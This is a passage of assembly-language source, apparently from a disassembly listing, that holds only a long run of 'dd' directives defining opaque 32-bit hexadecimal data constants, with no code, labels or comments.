		dd 0E4D81CBDh, 0E0B571F6h, 3FA05Fh, 0A95C21FDh,	66DDCCF0h
		dd 0A60FC67Bh, 0C26B910Fh, 807E2B40h, 44ECE8DCh, 0A8070080h
		dd 795F7301h, 260205F5h, 0C467C681h, 0E6417F39h, 92A0FB0Ch
		dd 0BC007562h, 8F76847Fh, 812B24h, 724B9826h, 0A828391Fh
		dd 0FA531A38h, 0B934C402h, 60E4645Bh, 0AAB53Dh,	8D904DDFh
		dd 0AEA00CB7h, 3E11A400h, 0DE78A352h, 0C48C001Ah, 7E200BEEh
		dd 5600AF82h, 5B99B4ECh, 13C261C1h, 1392DB89h, 0FFB0009Ah
		dd 0C80445CDh, 34E85600h, 229367D2h, 0C1AD1DC7h, 0F8EA7Fh
		dd 0E143E75Ah, 8EDCC458h, 9CEE3E00h, 57B22F7Eh,	9F9859h
		dd 0BAD12E62h, 0DA8267EBh, 51B41400h, 24AD537Fh, 8A60070h
		dd 54487A6Ch, 0C400F64Fh, 64DDCE2Ch, 7B0BD409h,	22DF1FD5h
		dd 81B91619h, 0E8304CA5h, 88C028F6h, 0C672F45Ah, 0FF22245Bh
		dd 17003C1Ch, 6B96B3BEh, 130063A6h, 0F5905162h,	0B897DA72h
		dd 0CD8000FBh, 5378885Ch, 0AC90EEE0h, 13C22E50h, 39CE1F00h
		dd 9EC04B2Fh, 2A700Eh, 48249C67h, 26A298D4h, 2004A400h
		dd 6E89534Ah, 31A30A0Eh, 0F24209h, 0E65AEE80h, 2C004CB2h
		dd 647B0FDDh, 1694CBh, 0C7F15708h, 3FDC1AECh, 0D9680E00h
		dd 0D6C32AAEh, 7A9E072Dh, 0C0B398A0h, 469C923Eh, 0D9785A13h
		dd 0A3E20400h, 4D5336h,	1ECBE44Ah, 7969B226h, 0AA04EC00h
		dd 4974C6BEh, 447B005Fh, 430623F6h, 56007064h, 83EF7133h
		dd 0BC88D4h, 40317CA7h,	0F985580Bh, 489691Dh, 116BC0C0h
		dd 0FC7F68h, 7BB45BDh, 91814970h, 0E0EB9403h, 0D3FDEFC4h
		dd 0D55DE83Fh, 0FB342429h, 7BBF8A04h, 2CE9CFCh,	4B507124h
		dd 0B00EC8Eh, 5A1CB826h, 952EE0A0h, 339388h, 0C2A32F06h
		dd 0CF2D9DB7h, 0EFAFD2Ch, 0EFBB21Eh, 20B95BBFh,	0BAF27C71h
		dd 0B4B5008Bh, 0E953B1C0h, 4C3D6D1Fh, 5A2700DDh, 0E37EBB9Fh
		dd 0FDD507B9h, 908B0A41h, 4C81ADA1h, 770011F0h,	590FB2A6h
		dd 6FF0671Fh, 0DF21B047h, 41F11AD0h, 0ECE292AFh, 0E948382Eh
		dd 4CBD0081h, 905C289Ch, 7EAD01D8h, 0EF40A3ECh,	0F4560B3h
		dd 0C7591007h, 30805D47h, 20E665h, 4FB19634h, 88BEE04Ah
		dd 171D923Eh, 0DD0076C1h, 40DA2D14h, 0D7A30029h, 41678B0Ch
		dd 213A5027h, 3F688020h, 372E592h, 0F04878h, 805921FAh
		dd 579C6AEDh, 5C001623h, 965E4667h, 1243B7Ah, 5A3C6CE5h
		dd 0D419EFB7h, 87127F39h, 0C0006F94h, 4821FACBh, 0CF3300C3h
		dd 0B1EC5F69h, 0BB1F023Eh, 9D4CFD1Bh, 0D06820h,	60DC8849h
		dd 81BE5C37h, 0A8AB4500h, 22C462A7h, 0D91E005Fh, 58FD088h
		dd 0A400400Dh, 5AABD642h, 0C0D806h, 0E056BEC3h,	0F60E822Bh
		dd 8062B038h, 0F954C830h, 297114h, 3BA91BDBh, 5CB2F5AAh
		dd 8B651300h, 78A862C3h, 67C10075h, 97B1A0D8h, 0D513778Fh
		dd 0DB00240Dh, 6F50BE0h, 41F10095h, 4B299A58h, 1A0F3CF4h
		dd 0AB2B938Fh, 0A7758384h, 7906E015h, 0CEA50785h, 80F35101h
		dd 62E77C8Bh, 0E94AC0E6h, 0AC840400h, 6E35C7h, 0FCADB54Dh
		dd 99A4D158h, 53C4A002h, 41AA62C0h, 9AC8CE4Fh, 5C59F81Ch
		dd 42002FA6h, 0C8E33AC4h, 300DAE4h, 237A04A7h, 26A1DEh
		dd 0C45EBCF6h, 60FA4512h, 4E582101h, 0E2E9B6B9h, 3F741C24h
		dd 0DA8039C1h, 0C29B07FCh, 867CBD2Eh, 0A0C19E7Ch, 0F24EB5F0h
		dd 0EC603183h, 0DCCB5FD8h, 0BBE86AA3h, 10A03BB6h, 1CA0E376h
		dd 0C248B303h, 0C43A92h, 2625FB2Bh, 0BAD0D5h, 8BB6AB13h
		dd 0E92FA999h, 0C858B31Ch, 0A3D84440h, 149EBDh,	154070A6h
		dd 44C571Bh, 0DC22E4FBh, 0CECD1C1Bh, 0FCE29070h, 0AD78ABh
		dd 86C72067h, 0E36D9460h, 0DCF291C7h, 385B0048h, 0C9F3EAC7h
		dd 5E9EC800h, 96117CF8h, 3081586Ch, 0FA47FE00h,	0BB744A72h
		dd 0E2EFAA00h, 9B208795h, 3FDA00DEh, 0FED0CB3Ch, 410B5298h
		dd 8083CE5Bh, 39346896h, 4666002Ch, 38F68FF0h, 4200B04Bh
		dd 0B14F2878h, 71AD1h, 84FC7680h, 0BE38CF6Eh, 0ECC9EF05h
		dd 5C8033F4h, 0FEEBA2h,	609FDB48h, 5D2AC8E8h, 85531200h
		dd 451406E7h, 8AE6CFh, 6710CB43h, 2D0834C3h, 175FA601h
		dd 0DEFF318h, 0CE9820h,	74AE0DFh, 0D7DC5C25h, 74C54100h
		dd 0B8315712h, 81A1D62h, 68450E7Bh, 300D629h, 21E40B6Fh
		dd 0E67DB6F4h, 2D01187Ah, 3C2E7C6Dh, 0F064169Ch, 94D031Fh
		dd 63B8026Bh, 0CF148598h, 5B0DAC00h, 1B9A7678h,	27A9867h
		dd 0E6B53050h, 0C4813EDEh, 412C53EFh, 243DC1C8h, 8F003F14h
		dd 0C703C678h, 51BC5E2h, 519B31A8h, 3EEC020Ah, 0E8A0C250h
		dd 40AFFA89h, 85B0D201h, 1422CE49h, 716D8E8h, 1592F34Eh
		dd 0E0790006h, 6E2E9EBCh, 7C00BCE6h, 11050FECh,	892EDh
		dd 7EBFD30Bh, 0AB967084h, 0EF3990ECh, 0E8B6825Eh, 0E02E1BD6h
		dd 349DEF3h, 84C67573h,	0C0DDB4DAh, 0FE595054h,	1D804F05h
		dd 0C480A66Fh, 6255FC2Bh, 59C760F3h, 0A48A708Fh, 0D800BE9Ch
		dd 0AF0C908Bh, 803B1B68h, 0C3D41F29h, 88D592C7h, 42BD55F1h
		dd 0C10EEDCh, 18F72514h, 0D4603B08h, 41053620h,	0DE930037h
		dd 74EBAA6Eh, 9C00AF73h, 4DBB0CFBh, 6424ED2h, 24300577h
		dd 0EB003876h, 53C0E3FFh, 7574782Bh, 0B708DF37h, 0E3073021h
		dd 6B60F298h, 9F2BB669h, 0BFEE0040h, 0AB56DC36h, 0AD00A667h
		dd 43B51F57h, 5F58D6h, 896AD477h, 88752CF8h, 5E28E0E5h
		dd 0D0B5D20Ch, 3AD3F43Ch, 743072E4h, 0BC999121h, 0A6112D07h
		dd 26E66607h, 0B8B3A89h, 188B22Bh, 0EE9542AAh, 883A1808h
		dd 41000A33h, 0DE4CC3FCh, 5046D136h, 0E6E6EBBFh, 0A0A8D996h
		dd 85F180Fh, 74D0B8D2h,	8E407AC4h, 0A144BC96h, 2526300Fh
		dd 5976018Ch, 0D6ECD757h, 0ED6A4CA0h, 0CFA10500h, 802D8B3Bh
		dd 99885A06h, 98D98Dh, 0FA667475h, 84044D11h, 0B4569118h
		dd 0C089C708h, 0FDBE1620h, 0CC02BD76h, 0A751EBBCh, 705880B1h
		dd 0C084D346h, 8AC8FD10h, 407A1C2Ah, 5A85B100h,	4B425E2Fh
		dd 0C7B00058h, 37AF123Ah, 3200C489h, 64FBAC09h,	396A63h
		dd 0BF90B62Bh, 552305BDh, 0ED9BA100h, 5BB4E5C5h, 0BCF2009Fh
		dd 5AA58A11h, 9400988Eh, 54CD2A18h, 5BCA61h, 3E33627Ah
		dd 6BCC7F73h, 90B7B00h,	83F551E1h, 6DE6D3h, 15DABDA9h
		dd 2BB4195Eh, 2D6C4F01h, 0EEE0AD4Ah, 1811FEC4h,	26A6FBB9h
		dd 0A10F538Eh, 18C1A86h, 2B296283h, 991070h, 48437D40h
		dd 0D2C314E5h, 8050DE3Dh, 0D6B6F8DDh, 0B50A0Bh,	9EE32D9h
		dd 0EBAF45Ch, 0DA005B70h, 0D768B090h, 0C1778Dh,	41BBAE4Ch
		dd 8C65BF47h, 8A346600h, 645B97ECh, 0B4A93889h,	0CCB71A80h
		dd 48EE8832h, 0D1DDCF09h, 7617008Eh, 0F6419910h, 0B1BB005Ah
		dd 0B6283192h, 0D11E664Fh, 0BC775EFh, 4EF0C767h, 0FCFD29h
		dd 9AA5A4B1h, 0AF421B7Dh, 6AB2AE00h, 8B276164h,	3E290D93h
		dd 0AD04FABh, 64C0BB04h, 96E15149h, 0A5532A14h,	0B00CFB38h
		dd 3710C946h, 0B36F9600h, 890B1451h, 0A59B00A0h, 0C7B2E110h
		dd 0BF1624B0h, 3E0CB5C0h, 840F297Bh, 2295BE22h,	8142B488h
		dd 22390321h, 11FC428Bh, 6721193Ah, 3F3C9414h, 44BE4440h
		dd 2284DB14h, 0F442E206h, 3F15B111h, 44C5449Fh,	642058E7h
		dd 14F350C1h, 8811E9D3h, 110C12E0h, 0B726D29Ch,	10620051h
		dd 0E7961F3Bh, 0BB015CFAh, 0F02E41DFh, 6DECA987h, 0E4A7B85Bh
		dd 0DE7513h, 0B8FC3227h, 5D1025B2h, 5A4F9503h, 0A7913FA5h
		dd 0CEC15100h, 848B00F7h
		dd 0ED2FB097h, 10000B70h, 0F1C0A627h, 0E09ED920h, 32F8004Fh
		dd 7A941179h, 0E200350Fh, 0BD9DC4F9h, 0B1F80A9h, 7D7E5E17h
		dd 33C02100h, 73720AFCh, 31A1B11Ch, 84FB80BCh, 3077602Eh
		dd 0C7520008h, 7C94EDD1h, 4B003126h, 7E87279Ch,	188D6B1Bh
		dd 2125937Ah, 0D300A2B6h, 0BD690935h, 0C0033329h, 667B5D18h
		dd 0CD007F50h, 80A57490h, 92C18D98h, 9C2F0134h,	0A4BB2C14h
		dd 18C3C0B2h, 5EF0D7E8h, 1DAA8801h, 7E5F89DCh, 0A9300771h
		dd 1080F944h, 0ABEE5340h, 4860B01Ch, 87A2B7C0h,	438530C1h
		dd 37696010h, 0DA03D47Ah, 0B8CE452Bh, 0ED78002Ah, 0FFF8FD05h
		dd 6A0060D3h, 0C7C8A215h, 0DACF57h, 13C5A1DEh, 0BAF955Ch
		dd 543F1A05h, 0CDC07108h, 735E0568h, 3540007Fh,	150772CAh
		dd 0FA0FB224h, 0AF6FDFC9h, 6854A04Dh, 5CFDE60h,	0B5BCC4FFh
		dd 0CCC001E6h, 0DCE527DDh, 6D00CA8Ah, 7F21A374h, 0BB7B63h
		dd 7549592Ah, 7274CA2h,	5CFC102h, 0E0BE28D5h, 5C52645Ch
		dd 0EC006D5Fh, 92D31559h, 30048E4h, 8F6818CFh, 15F1449h
		dd 8B39DC97h, 405D1FDBh, 23C335B2h, 992C73Eh, 0DCB49D2Dh
		dd 54823AEAh, 0AF3FD35Dh, 75F50AE0h, 0BA294407h, 2EB7CB42h
		dd 2CDA3490h, 0EB57FFEh, 8BD062BDh, 0FF9A8E40h,	68005205h
		dd 3D93A535h, 70366A0h,	9CC30AECh, 5E07F088h, 1D3F2C40h
		dd 31380050h, 0F91C683h, 8FE681h, 1A12D3B9h, 0CE058AA4h
		dd 11C8D0A3h, 150F85D8h, 0E0F2F937h, 84552868h,	9660092h
		dd 6F7B980Bh, 0F00FC74h, 0F39ECDD4h, 0B35968h, 0ECCB0A17h
		dd 5494F4B2h, 3469ED00h, 273621A9h, 0D67C00AEh,	10589504h
		dd 910024A6h, 0EC2EE179h, 4828A61h, 7B44B370h, 354C8CA5h
		dd 0E14848h, 74948AF3h,	3AD77E8h, 0B3317872h, 0FD80245h
		dd 3C902E14h, 9B3EFB06h, 11F9CDh, 0BB0D867Ch, 6902F156h
		dd 0AEFEF705h, 0A40070B7h, 0E980D7A1h, 0C72D0222h, 9ABEB60Fh
		dd 7B73BC60h, 3E02E41Dh, 0BD08E103h, 0DE48B02Dh, 22E890A8h
		dd 0A9385F89h, 8030B98Bh, 0A75ADD37h, 0C0843433h, 50A0E320h
		dd 0E6775565h, 1EEE917Bh, 3BCD9603h, 1C83A8h, 0E6706829h
		dd 49DB19E8h, 5A0EE4FFh, 10DDA101h, 0EE679C50h,	7ACF80C3h
		dd 0D3C600C7h, 7F557C04h, 15038889h, 3F10C93Dh,	4C510036h
		dd 78A34BA7h, 7C18337Ah, 23418EC3h, 0FC1A00B9h,	3C5AA7C5h
		dd 0D239F0AFh, 0DACB000Dh, 0F97DCABFh, 10650005h, 152F6A16h
		dd 9B1C8459h, 4A83AD20h, 0D05775E1h, 7B0E3BDDh,	6EC40A22h
		dd 389C8D47h, 6C5DCE00h, 86A5954Bh, 343E7100h, 388919Ch
		dd 17D600FDh, 0A0B92A2Fh, 0F200DF41h, 50F33474h, 1B52BE7h
		dd 6D150EA2h, 0D804F509h, 4C074AC3h, 0F2D1AF56h, 0FF529A70h
		dd 6D2800CDh, 70BAE5D9h, 0A67F88DAh, 0A92E0C1h,	0B840735Fh
		dd 6F7FCF3h, 9F2C5A47h,	0D0B04F8h, 57A85F06h, 82E01A80h
		dd 6F00CE38h, 0E9E9943h, 41256BFh, 0C4BE85Eh, 0AAA4C0F7h
		dd 0DC1837B1h, 0DB10F192h, 0E6630F88h, 809D524Ch, 44EBC26Ah
		dd 5800CDF5h, 4F1D9612h, 581C6ECFh, 1100E851h, 60131497h
		dd 4552A639h, 374706BCh, 3107089h, 0D3D86FDBh, 0EFC04A32h
		dd 0C002193h, 29551946h, 904B1B3h, 6BF69881h, 5307E0A3h
		dd 9E4DE9C1h, 0DA49AE40h, 0D85C0033h, 0A46284h,	0A1904AECh
		dd 8BD18AB1h, 0EFA86C01h, 8FD9A5A6h, 0EC6D38D0h, 4AA1000Eh
		dd 0C0F4DCD0h, 510016FAh, 0D99CC54Ch, 6F11101h,	0E38ED219h
		dd 6A3AD83Ah, 1865409Dh, 90C5C388h, 0BD144AE9h,	0C4A580h
		dd 0F46E8A21h, 161BD7h,	4304A676h, 84A2895Eh, 8064Ch, 0B564FAF3h
		dd 0E88EB0D4h, 7BE50094h, 3CCCB65Dh, 0E438CA1Fh, 0BF8D006Fh
		dd 0B7DB6003h, 92270038h, 29A8F471h, 9E0324B2h,	0A3D7DA11h
		dd 0D45EA098h, 0C28918CEh, 82D05CC5h, 7713C700h, 2E08619Ah
		dd 21D73E15h, 0C5D8B903h, 0FD835128h, 54A93CB0h, 83019500h
		dd 0F47B240Bh, 1C041DF8h, 22200058h, 8F71B102h,	9C027490h
		dd 27E8285Bh, 0CB24E915h, 20174AFCh, 0A70F94D3h, 0FF2B9775h
		dd 0F0B88B40h, 587A3DA3h, 3400295Fh, 3C20EE8Dh,	8C099915h
		dd 7392FDh, 37497D74h, 23C00714h, 2048056Eh, 6B543929h
		dd 309C0450h, 9F8AB8C0h, 3023BFD9h, 76D8F1DFh, 9300E87Fh
		dd 0EA4F1A59h, 16F97208h, 0F0B487C8h, 7CEECF6Fh, 6A4B6F00h
		dd 0F5AFC082h, 313400E2h, 9B5C0506h, 0CC00B87Fh, 0E4E868BFh
		dd 0F2B660h, 0ECF6D70h,	0BA6BEBBh, 830BB470h, 7740CEh
		dd 0FA5F435Ah, 0BF4900E7h, 0C53DADE0h, 0AE7647CCh, 0CB16C600h
		dd 40381F01h, 806300C9h, 997CF66Dh, 9500933Ch, 22E6456h
		dd 7F3779EBh, 88DF185Fh, 89133018h, 0B8055A00h,	8B82E8E9h
		dd 0D3A4012Ch, 24E0D0DCh, 464420A3h, 3E0B0448h,	80E600EDh
		dd 0E24DD453h, 0A6AB00C4h, 1B5FC1AAh, 0E700DBFFh, 17E37332h
		dd 0B08ECB40h, 900502D8h, 5BFAAE44h, 0DCCD560h,	0F6D7F500h
		dd 6CE3788Bh, 0EE291C30h, 0CDDA47A5h, 16B2C6F7h, 0FDC21C00h
		dd 47AF433h, 460D05E0h,	70E12Bh, 15EFB9E4h, 1000B03Fh
		dd 666EC1D6h, 7347DA0Ch, 0D4D8A0A6h, 63680045h,	81077579h
		dd 4E00B9E1h, 0FB15551h, 34F95Fh, 0BC3116A8h, 0E7094FDEh
		dd 2BCA4400h, 2E4605F0h, 771F008Ah, 30F8CB0Bh, 0A006A3E3h
		dd 13D459D6h, 52BF0020h, 0BB7B4EBh, 300B97Ch, 998DB64Eh
		dd 0E12C08h, 67FCA727h,	0A8350783h, 3351CF00h, 0D25D097Dh
		dd 0BC17B4Ah, 4175CC8Ch, 0DCB2EF00h, 0F5B84214h, 0F1704D0Bh
		dd 986E80B0h, 0F4D78C03h, 0E0F800FEh, 1C49C476h, 0B9008192h
		dd 0EF42D50Ah, 0F6AA1B0h, 4D439E2Eh, 0FC01C240h, 0DD0050A4h
		dd 0BCDFF826h, 6D968Ch,	46477571h, 0AE0BCCC6h, 6CFFCD00h
		dd 0D6019EC5h, 0D5A41EC2h, 0E9A00BBFh, 0D0A98200h, 18006A90h
		dd 3AFCD482h, 488DF4B1h, 760010A1h, 1A239714h, 501596F5h
		dd 0DCA440h, 0B1ED157Bh, 30A6Dh, 2322F7CBh, 0BCF006D3h
		dd 43A7E00h, 5E738001h,	950B09A9h, 7004FDE6h, 0A81080D0h
		dd 2F1EBC8Ch, 21DD6CEDh, 0C051758Fh, 58497781h,	13CF0E0h
		dd 92566618h, 0C00347D3h, 9B00F05Eh, 0DE107A50h, 657BA3h
		dd 57994B71h, 2F4751E3h, 4FE6831Fh, 6E7E9EC0h, 37570D5h
		dd 8DBCAF22h, 0FEC4B5CDh, 0FE9600C0h, 28D960FBh, 0E415FFBFh
		dd 5D404600h, 0A1267D1Bh, 4CB57503h, 0B100D84Eh, 927AE188h
		dd 4437FF5Eh, 0CFA01887h, 0F94A11Ch, 0C65848CAh, 0AD60705Fh
		dd 240B1922h, 0FE3569h,	18D42E14h, 0BB4C4861h, 179FF900h
		dd 0A5CF299Ah, 75519600h, 8689C528h, 0EE5339DDh, 0F1805CBAh
		dd 3C7EF587h, 60002BD0h, 0BE22859Ah, 0F4146213h, 0C9C1844h
		dd 0B7E560DBh, 2D481A00h, 54423B21h, 11F4DEh, 9B58852Bh
		dd 9FE383EEh, 7949D302h, 609D0C76h, 5B0136h, 699375F2h
		dd 88FC39A8h, 497B8400h, 863B791Fh, 12567A2Ah, 2150144h
		dd 52E9A493h, 1BE78C80h, 5016B7FEh, 9A409162h, 0F166446Fh
		dd 0CFFC80h, 76C11A96h,	0A9C4C70Dh, 79005EE4h, 236E86E5h
		dd 1CF817h, 0AEA02F5Dh,	0D0A36DFh, 0ADA11B00h, 0B50F12Eh
		dd 7C210054h, 74867944h, 0CF000120h, 307875B3h,	0D94C02h
		dd 5D643E24h, 3D89A618h, 150A2E00h, 758E9E0h, 7EECB0DAh
		dd 8E4B0712h, 7E5A4259h, 0B4A0230Eh, 0EFE59955h, 4EED8000h
		dd 1272A7Bh, 0D31C00CCh, 0AB1D9186h, 8C00CAD1h,	6723F473h
		dd 0E46F354Ah
		dd 0AA7C15h, 0CB1B9545h, 0C741547Bh, 8CA0D200h,	9ED6317Ch
		dd 77202CDh, 3B5835B1h,	5BFE2740h, 2DE05900h, 0A6C55679h
		dd 45890042h, 0AF8B7672h, 25091275h, 8090114Ch,	20774FC4h
		dd 49F90014h, 0DD56355Dh, 60067ECh, 6EA198F8h, 9A79C9Bh
		dd 637120DCh, 0B2AC2868h, 50957600h, 9E774387h,	296B0230h
		dd 0FC4DE035h, 891288C0h, 186F0C25h, 7CEAB04h, 9B7C48E2h
		dd 460A3FC1h, 7551FC8h,	0E2FA5895h, 0E8685263h,	0F000BB47h
		dd 0DCBC6403h, 1D9F743Dh, 809C0431h, 0CD6A2238h, 0DEEC6D61h
		dd 6091D32Eh, 0BF66780h, 1ECADC2h, 0AA23152Ch, 70709078h
		dd 0B43DFA17h, 18932E4Fh, 0F5722402h, 9E4860F0h, 63E40019h
		dd 0CBF73E6h, 2300614Ch, 327EADABh, 91B28Fh, 2588D377h
		dd 0F93CB8CAh, 96928C00h, 2F5AF4E7h, 94E57DA5h,	3C85008Ch
		dd 65D8984Fh, 1FD78D03h, 0C8F4927Fh, 4A09FE82h,	4D280038h
		dd 0A998A6Dh, 325B1E00h, 77232C40h, 0C4F305C0h,	80669327h
		dd 88E10295h, 8C04F0BAh, 0ACDA9AB9h, 0E3D608D0h, 19073365h
		dd 79FEC721h, 679433Bh,	47BB11B0h, 70D47698h, 0BC48502Ch
		dd 0D1321FA7h, 0FD5C016h, 752F9231h, 0F86828C3h, 0C603D0FAh
		dd 719124DCh, 0C2414h, 0B53B0A15h, 0D30047B9h, 0A1057EC8h
		dd 776D33h, 5EEDEAA6h, 10237388h, 0F5003CFAh, 172511BCh
		dd 0EE12A5h, 0AA26C92Ch, 5C33FB5Dh, 90C33F05h, 78C06151h
		dd 7BBF8D9h, 1FE329DBh,	15753050h, 6D5C875Ch, 7D480F18h
		dd 0D160F8D0h, 0BDF238h, 0C4BE2462h, 5B4B83C7h,	0A0F3CF00h
		dd 9A28B72Eh, 9DE5E990h, 240923C4h, 7CC93Ch, 1BA2B90Bh
		dd 70909E8Ch, 0E069050Fh, 0FF0F002Bh, 4344F0h, 0D7EC563Dh
		dd 9E29C76h, 4132A50Eh,	9FD2A7CDh, 677ADAC0h, 0FFAC047Dh
		dd 80FBCEADh, 260B8640h, 82970400h, 0F1BE6A50h,	0E8D9005Eh
		dd 1F20966Ch, 0E200E489h, 225A3977h, 0F0DF5Ch, 0FE986866h
		dd 0F4B3052Ah, 0B21C789Ch, 2478F60Bh, 58C06208h, 1083A67h
		dd 0C7145686h, 85846C4Ah, 1F6E8E20h, 7E24EB80h,	0FC5800C3h
		dd 13059B8Fh, 0A901829Ch, 0B24B4CA6h, 0DD07A1Dh, 848A079Fh
		dd 0A1DC13C9h, 0FCEE0B89h, 3C3923B0h, 223D1644h, 0FA50A800h
		dd 0FD3294h, 8F6CC8F8h,	830FE2A4h, 5207997Ch, 702C4827h
		dd 9C540469h, 0CC8E9620h, 47E6B101h, 0A77114F4h, 80AAEEC0h
		dd 1A4E4B88h, 0C81F5007h, 0D221B641h, 2D60DC65h, 296E012Eh
		dd 285993C4h, 6D05DC32h, 4A005298h, 83815A11h, 1D1551B4h
		dd 40919876h, 5DD2FEAFh, 9C28B653h, 0B001C8DEh,	8D3F4B3Bh
		dd 4460D472h, 1ECF634h,	5C24C2A9h, 0E82C983Dh, 0E92C5257h
		dd 0A642C0FCh, 8548E8A3h, 0B39F000Fh, 0BD027776h, 0BE01C449h
		dd 9492FF3Eh, 8C886BBh,	0A0750082h, 76AB51ACh, 0AD0033E5h
		dd 0C5675A88h, 266A6DB6h, 26CC295h, 330CBAD8h, 303E6050h
		dd 0FC3C982Ch, 0F6936AE0h, 92DB0354h, 0C54BAF3Fh, 53A3D7E0h
		dd 0C2948D18h, 7AAA1719h, 792E0325h, 6665EC39h,	7F5B93Ch
		dd 4322AE27h, 0FEF420B9h, 0F850E847h, 6CD30F7Ch, 7E60294Ch
		dd 0A5060FC6h, 4BB05300h, 6D15DB76h, 0F7F807h, 137AAA8Fh
		dd 2045A25Ah, 29D4F801h, 0C7AC57B7h, 0ABFBD6F1h, 0A882D415h
		dd 748D243h, 0AAA60E4h,	0B47330B1h, 0DA07B6D4h,	38D5C967h
		dd 41EEC81h, 84EEDCh, 71408559h, 0C3FF3B43h, 670F2405h
		dd 5CC2979Dh, 0BEE080F9h, 170E64Ch, 0B887E7E5h,	38DB2182h
		dd 18281368h, 0F3712000h, 26853CFFh, 560492Eh, 82E04369h
		dd 0C6804882h, 397DC673h, 0D800D3E0h, 44C40EF8h, 19D9053h
		dd 0E2598B2Eh, 2CFA7A0Dh, 0EFB987BCh, 3040A6F7h, 75B40915h
		dd 5C80B8E4h, 667F5CDFh, 4916D256h, 0D3A2F400h,	0A61508A5h
		dd 43A70E45h, 0E74044C1h, 28612FB5h, 4D7B4Ch, 0F8CEEC40h
		dd 121A2A20h, 0C791A9h,	61BBFC84h, 100073Bh, 0AA5D9346h
		dd 6C77B8h, 3499373Fh, 1DF71588h, 2A04077Dh, 0DD809BD6h
		dd 0D1D8F0h, 0A9F13956h, 0EDFB415Eh, 5A50A77Dh,	692C9D88h
		dd 0FC434817h, 808C8ABEh, 0DAFBFDE1h, 43540047h, 0AA357E9Eh
		dd 4B76CAD4h, 20A80E5Ah, 0A594EA00h, 34DB056Dh,	3C39EE2Ch
		dd 59C5003Dh, 0A83DE449h, 527916h, 0A53C77Ch, 0F48A621Ch
		dd 69DD6400h, 0F2AB4D13h, 83D8005Ch, 96182119h,	0FE7D0253h
		dd 813B9A39h, 0AB70E728h, 488149B4h, 0CE12EF8Eh, 0CF45D4A3h
		dd 80482A27h, 277AECDCh, 2860600Ah, 762D8A42h, 806A3A3Ch
		dd 0B3D7BFB4h, 4CC6DAh,	28FDC8C0h, 0A10EED8Fh, 0A7C4DC06h
		dd 3E116E3Dh, 4F11C353h, 844C001Fh, 0B9E495C8h,	6EE614B3h
		dd 344DCAF7h, 3D5A2C00h, 0D30C4C8Eh, 8C0077E4h,	48A05089h
		dd 948858CFh, 80FC265Ch, 385C948Bh, 9A00635Bh, 0D3A928ADh
		dd 0E304EC34h, 0BC41A040h, 602900A1h, 0E7D0CBEh, 0D0709480h
		dd 0CB697800h, 7F3F742Bh, 0B34B0BDBh, 8F014AC2h, 825DE939h
		dd 64D29D40h, 0EC7C4021h, 56905C0h, 0BEF5B0h, 255ABBB2h
		dd 8D00276Fh, 6A0411C9h, 0FF6E88h, 0E895BAFBh, 0D5A7731Bh
		dd 0B30038DCh, 0A684EB81h, 0E2660079h, 916A9422h, 9A00B4C0h
		dd 47D74E8Bh, 78DE8334h, 0A9680F0Ah, 0E3027EE0h, 0B4D88088h
		dd 8600DC75h, 0A10FAFACh, 7ED89C54h, 32FE25E9h,	9289D802h
		dd 187E4A40h, 1240B903h, 903EFC83h, 0CE5FE210h,	0D817F6Ah
		dd 7093CBEAh, 2D0042FCh, 0F0CD03ABh, 79B926E2h,	0CE3307A3h
		dd 575BC4C0h, 0F037A74Fh, 5753D106h, 1E4E25Ch, 0F19639Ch
		dd 0CFFC5022h, 0B48C4875h, 0F0763800h, 3B1EA3E4h, 67E8FE00h
		dd 0CF1356B2h, 0D6740FA8h, 2FE0599Fh, 0C2771723h, 4A2C0800h
		dd 0D60BB7Eh, 0FB190F28h, 9F20F0DCh, 798EF190h,	2D4D8980h
		dd 88B0984Bh, 381FB465h, 70C034C2h, 7DE3B864h, 0F64F2C16h
		dd 0A02228E3h, 0FB304h,	0C6D58C87h, 66701B03h, 73FE2600h
		dd 96D68616h, 5C751D7Ch, 0D7340048h, 2C8AA75Ah,	25374F01h
		dd 3178F7C4h, 307ED30h,	1095B5ACh, 0E3DA45DAh, 0B72FF850h
		dd 0E7F4BB32h, 0DA5C5F0h, 0F1C100D8h, 0EF7F69B8h, 0FD2CC378h
		dd 3004CFEh, 0FA56EB82h, 0A310C0E1h, 731D142Eh,	46CDDA00h
		dd 6998B9C7h, 8CCA00EAh, 0FFC8D0E0h, 855CA3DEh,	6D560152h
		dd 1149C6DFh, 5C3FE0h, 0C2AF3E8Ch, 0DCD56445h, 70FABB00h
		dd 0B921599Eh, 0CAEB00F8h, 0C16FD91Eh, 0CD738B3Ch, 8DFA801h
		dd 0D2EAB252h, 630868FAh, 25B3EE67h, 4C80A62Ch,	91AE824Dh
		dd 7E49D0Bh, 4ADCA0CBh,	1EE164B8h, 838930DDh, 0AF2AE2E9h
		dd 793744E0h, 72AC6301h, 35588ADFh, 99C60h, 69504151h
		dd 0B12087AEh, 77AB707h, 5D40A0D1h, 757F6FEh, 72D99DBAh
		dd 0C2C88005h, 3327BFF4h, 0C43001E0h, 3FFC525Ah, 845704C7h
		dd 0B00AAC7Eh, 0F9005F7Ch, 90BE567Fh, 27D948h, 0A972256Fh
		dd 69468611h, 42159200h, 6B058DDFh, 7BBB0040h, 16D0AD27h
		dd 0E000242Bh, 0A1CF068Ch, 7977EFD4h, 42960068h, 28107A4Fh
		dd 4958B399h, 0D6AC1CB8h, 0CF783B40h, 7685988Eh, 8A090173h
		dd 0D7CC04Bh, 7483C86h,	331D97C8h, 0CBB58B00h, 36120058h
		dd 0D229043Ch, 0A5739A01h, 0D75CB700h, 9FEA0C28h, 1D675C91h
		dd 0FE4D350Eh, 0B159DBE0h, 209DABCh, 0EEF2243h,	66DEFE40h
		dd 11A7A20Ch, 32D5B0C1h, 911195FCh, 0DDB45E01h,	0EA666100h
		dd 0A300FEEEh, 0C2221073h, 7724A3Ah, 60BFD25Ah,	1ED92081h
		dd 0D66057FDh, 0C50D0640h
		dd 727118h, 0E8216A53h,	0FA67018Dh, 384FFB00h, 0A2A50C59h
		dd 85C1811h, 0D85D3980h, 0CCAB7309h, 0C8C040FBh, 22C50754h
		dd 10FE669Dh, 10196545h, 0EB0DA614h, 20068E98h,	9B8F44C5h
		dd 72D200FEh, 5E9D1E57h, 2B000968h, 0F19AEDB5h,	852F0Dh
		dd 0C7496D98h, 7AACC428h, 0C858A800h, 21F8A5F3h, 2DF400D2h
		dd 0DFF96BF0h, 7600561Ah, 0C7BE79ADh, 0F958536h, 0F32135C0h
		dd 0BE08680h, 0B2006201h, 390E94ACh, 0BDAB93h, 2ADD8D6Fh
